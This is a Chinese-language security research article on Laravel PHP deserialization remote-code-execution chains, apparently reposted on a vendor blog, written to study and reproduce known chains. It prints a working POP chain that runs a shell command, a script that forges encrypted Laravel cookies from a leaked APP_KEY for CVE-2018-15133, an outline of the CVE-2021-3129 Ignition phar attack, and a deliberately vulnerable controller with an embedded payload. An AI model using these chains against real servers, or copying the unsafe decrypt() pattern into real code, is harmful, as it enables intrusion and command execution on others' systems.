长亭百川云 - 文章详情

Laravel反序列化学习

零鉴科技

52

2024-07-14

Laravel反序列化学习

本文主要以收集并复现网络上常用的Laravel反序列化RCE链为目的,学习并总结Laravel反序列化的函数调用与内部逻辑。本次复现所使用的Laravel版本为Laravel 5.8.38,Laravel 7.30.4,Laravel 8.38.0,组件版本由composer默认安装。

命令执行

首先直接上一张整理好的Laravel的反系列化脑图,绿色链代表Laravel 5,7,8通用的反序列化链,黄色链代表受限于Laravel版本的反序列化链,红色链代表需要使用到特定版本组件的序列化链。

从脑图中可以看到很明显的一个特征是,Laravel 5,7,8通用的反序列化链的入口基本上都是Illuminate\Broadcasting\PendingBroadcast类的__destruct()方法。通过寻找可利用的__call()魔术方法或者存在dispatch()方法的类来完成后续的利用,最后通过php可变函数的性质或者call_user_funccall_user_func_array来执行命令。

除了PendingBroadcast类,还有一些常用可以进行反序列化的类,如PendingResourceRegistration类和ImportConfigurator类,但是在高版本的Laravel中,ImportConfigurator类加入了__wakeup__sleep函数,导致该类不能被反序列化,但PendingResourceRegistration类依旧可以使用。

全网中将PendingResourceRegistration作为入口的反序列化链比较少,因此在这里我选择PendingResourceRegistration作为反序列化链挖掘的入口。

PendingResourceRegistration类中,__destruct()方法会调用类中的register()方法,register()会对应调用$this->registrarregister()方法。其中,$this->registered$this->name$this->controller$this->options均可控。

那么接下来的任务就是寻找含有__call()魔术方法的类或者含有register()方法的类,这里优先选择去寻找可利用的__call()方法。经过一番ctrl+f搜索,找到了一个稍微好利用的类Mockery\Generator\Method,其中__call()方法直接调用了call_user_func_array函数,$this->method可控。

但是因为call_user_func_array的特点,在传入的第一个参数为字符串时,会直接调用对应的函数。如果传入的参数为数组,比如array(new A(), 'b'),则会对应调用A类的b方法。在这里虽然$this->method可控,但是此时$method为调用__call()方法时的函数名,很难做到命令执行,因此还需要再跳一层,寻找__call()方法来执行命令。

最后瞄准了Illuminate\Validation\Validator类,这个类被很多反序列化链作为命令执行的最终类,因为它有着很方便的构造点,并且变量($this->extensions)可控。传入的$method首先使用substr获取了第8位以后的字符串$rule,接着寻找$this->extensions中是否存在对应与$rule键的值,如果存在并且可以被调用(is_callable),那么就可以利用php可变函数的特性来调用这个函数。

完整的调用栈如下:

下面给出pop链:

`<?php``// laravel 5, 7, 8 都可``namespace Illuminate\Routing {`    `class PendingResourceRegistration`    `{`        `protected $registrar;`        `protected $registered;`        `protected $name;`        `protected $controller;`        `protected $options;``   `        `public function __construct($registrar, $registered, $name, $controller, $options)``{`            `$this->registrar = $registrar;`            `$this->registered = $registered;`            `$this->name = $name;`            `$this->controller = $controller;`            `$this->options = $options;`        `}`    `}``}``   ``namespace Mockery\Generator {`    `class Method`    `{`        `private $method;``   `        `public function __construct($method)``{`            `$this->method = $method;`        `}`    `}``}``   ``namespace Illuminate\Validation {`    `class Validator`    `{`        `public $extensions;``   `        `public function __construct($extensions)``{`            `$this->extensions = $extensions;`        `}`    `}``}``   ``namespace {`    `$a = new Illuminate\Validation\Validator(array('' => 'call_user_func'));`    `$b = new Mockery\Generator\Method($a);`    `$c = new Illuminate\Routing\PendingResourceRegistration($b, false, 'call_user_func', 'system', 'ls');`    `echo(urlencode(serialize($c)));``}`

这个链的不足在于调用了两次call_user_func。实际上,调用Illuminate\Validation\Validator时就可以任意执行函数了,但是因为传入的参数个数为3个,同时php命令执行相关的函数的参数一般为1个或者2个,因此只能退而求其次,再调用一次call_user_func来执行命令执行函数。

在反序列化的过程中,使用某些链进行命令执行虽然将结果回显,但同时也会产生报错(错误日志存储在storage/logs/laravel.log中)。

写Webshell

基本上,写webshell的链是在命令执行的反序列化链之后往后延伸,寻找可传入多个参数的执行链,在这里就不赘述了。

比较特别的是,在laravel7,8的较新版本中引入了GuzzleHttp组件,这个组件是一个PHP的HTTP客户端,它用来发送请求,并集成到WEB服务上。其中,其中一条写webshell的反序列化链就利用了FileCookieJar类中的__destruct()方法。__destruct()方法中调用了save()方法对cookies进行持久化的存储,其本意是为了保存cookies,但我们可以通过这个机制通过反序列化来写入webshell。

反序列化点

CVE-2018-15133

在laravel版本小于5.6.30中,存在一个cookies反序列化漏洞(CVE-2018-15133),该漏洞允许攻击者在获取到APP KEY的前提下,通过Http头部的Cookies字段,将含有恶意代码的序列化链发送给服务端,因为服务端没有对数据的内容做校验,导致序列化链在服务器上被反序列化,从而执行序列化链内部的恶意代码,导致远程代码执行。

具体漏洞出现在vendor/laravel/framework/src/illuminate/Cookie/Middle/Encrypter.phpdecrypt()函数中,该函数对$payload进行了一系列的解析和解密后,调用了unserialize()$payload['value']进行反序列化。

向上追溯,在vendor/laravel/framework/src/illuminate/Cookie/Middle/EncryptCookies.phpdecrypt()函数在获取到Request类对象后,循环对 Cookie的值调用decryptCookie函数进行解密以验证其合法性。

因此我们仅需要一条可利用的反序列化链,再按照laravel Cookies的生成方式,利用获取到的APP KEY生成带有恶意反序列化链的加密Cookies,在请求服务器时带上Cookies即可完成RCE。

laravel使用的默认cookies为laravel_session,通过openssl加密和base64编码后存储在客户端,解密后的内容为序列化的数组。其中iv用来加解密,value保存具体的cookies值,mac用来进行完整性的校验。

其中value字段是反序列化链的关键。在较低版本的laravel中,Cookies并没有加上hmac的校验,因此不需要费力去构造hmac,我们可以在此填入带有命令执行或者写webshell的反序列化链,完成RCE。

下面给出cookies加密规则的脚本(需要设计好反序列化链):

`$key = 'base64:xxx';``$key = base64_decode(substr($key, 7));``$cipher = 'AES-256-CBC';``   ``$iv = \random_bytes(\openssl_cipher_iv_length($cipher));``   ``$value = serialize($c);``$value = \openssl_encrypt($value, $cipher, base64_decode($key), 0, $iv);``   ``$iv = base64_encode($iv);``$mac = hash_hmac('sha256', $iv . $value, $key);``echo $mac . "\n";``   ``$json = json_encode(compact('iv', 'value', 'mac'));``echo base64_encode($json);`

在Laravel 5.6.30之后,官方对CVE-2018-15133漏洞进行了修复。具体来说,Laravel在Cookies解析之前多传了一个 static::serialized()值来禁止反序列化操作,同样对于 X-XSRF-TOKEN 头的解析也是同样的处理。

CVE-2021-3129

今年年初爆出来的laravel debug模式下的RCE的漏洞。在 Debug 模式下,Laravel 内置的错误页面管理Ignition 组件中某些接口未严格过滤输入数据,导致可以利用 file_get_contents() 和 file_put_contents() 对laravel的日志文件进行 phar 的反序列化攻击,最终RCE。

漏洞具体成因出现在facade/ignition/src/Solutions/MakeViewVariableOptionalSolution类中。这个类本是用来提示开发者,页面存在未定义的变量,并可以通过点击按钮(下图中Make variable optional按钮)的方式,来快速修复一些错误。在这里,通过在blade模板中插入一个未定义的$username变量,就可以触发MakeViewVariableOptionalSolution

具体利用点出现在MakeViewVariableOptionalSolutionrun()函数中,这里如果$output$parameters可控的话,那么就可以实现任意文件写。$outputmakeOptional()函数返回的结果,因此跟进makeOptional()函数。

望文生义,makeOptional()对应于上图中Make variable optional按钮中对应的处理函数。在这里,主要体现的功能就是替换 内容中含有的$variableName 为 $variableName ?? '' , 然后进行token_get_all的校验,如果token校验可以通过,那么最后将返回修改后的内容$newContent。需要注意的一点是,file_get_contents() 和 file_put_contents()操作的都是同一个文件($parameters[‘viewFile'])

因此,如果传入run()函数的$parameters可控的话,我们就拥有了一个对任意文件的读写。

向上寻找run()的调用链,定位到了ExecuteSolutionController类。这个类满足了所有需求,调用了MakeViewVariableOptionalSolution类的run()方法的同时,$parameters通过$request->get()获取,满足了可控的需求。

$solution通过$ExecuteSolutionRequest->getRunnableSolution()获取,getRunnableSolution()调用了getSolution()。而ExecuteSolutionRequest继承FormRequest,因此$solution的值实际上由post请求体获得。

最后,漏洞触发点的路由定义在IgnitionServiceProvider.php,对应的web访问路由为/_ignition/execute-solution

下图是一个清除laravel log日志的payload:

因为本文主要关注于Laravel中存在反序列化的点,同时后序的利用网上已经有了很多的分析文章了,因此在这里就仅仅介绍一下后序的思路:

1.通过php filter对log日志文件的清空和写入,将log文件转换为phar文件格式。

2.通过phar协议进行phar的反序列化解析,最终完成RCE。

decrypt函数

让我们再回到decrypt函数中。可以看到decrypt()中默认传入的$unserialize值为true,也就是说,如果没有对decrypt()进行了充分的了解,将用户的输入作为$payload传入,那么就会在不知情的情况下构造了一个反序列化的点(前提还是需要获取到APP KEY)。

新建一个控制器,并不正当地使用decrypt()函数(为了方便,省去了获取内置Encrypter的步骤)。

`class DecryptController extends Controller``{`    `public function decrypt()``{`        `$key = 'base64:bz9ynRr1smrZsNo7egh3muVHGKVHm9yB2YLrFvjajoE=';`        `$key = base64_decode(substr($key, 7));``   `        `$payload = "eyJpdiI6Ik9nTFVFWm81ODdMbHdreVwvXC85UjVyQT09IiwidmFsdWUiOiIrTjgwdnhjZUZhelNwQXFCWjVLTVg4dmdEaWRKMjd5MVNvbHp3MFRnUXFCdE9KZFdNT3I5TnRrM3dnbStUM0NHVTI5Q0pJM21oRmtJZzk4NHJZM1NIclJwamFrMUoxTkE3ZG12YUZiV1FZcUdYZ1dBb2NlcUZET0gxSjk2OTJ2UjRHdW9sZFlJcjFsc3ZoR2JIYXFORUUyYnlCbk4rMnRoRURrZkJuMEpKMVwvYUlDTUp1U2VyQTlNb2hSdlp4NUZkbmU4eVVXTlpjSEI3UGhrOHN1dEdFcHE5dFF3RklWcE1lVTBiSnpiRVZRckI0Z0d4aHU0S2JybER0aGdMSUhEZ0RaUWNPNjY0UDVrU2Z1VlNcLzFNUGdsbFwvNUZEZHlxSlB4a0JIZ0NsQ0E2ajFSdHpWd24wXC82RW5cL1BXNTByXC9kcyIsIm1hYyI6ImRmMmMyMTE1YjhhODI1YmExMjU4MzcwNGIxODc2ZDg5YTg4NDI5NWNkNDBlNDNhZTM0YTdiYWVkY2U5YWFkYzcifQ==";``   `        `$encrypter = new Encrypter($key, 'AES-256-CBC');`        `var_dump($encrypter->decrypt($payload));`    `}``}`

可以看到,访问当前路由就能触发反序列化漏洞,造成命令执行。

参考资料

https://www.anquanke.com/post/id/231079https://xz.aliyun.com/t/9478https://www.anquanke.com/post/id/189718https://www.anquanke.com/post/id/231459

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2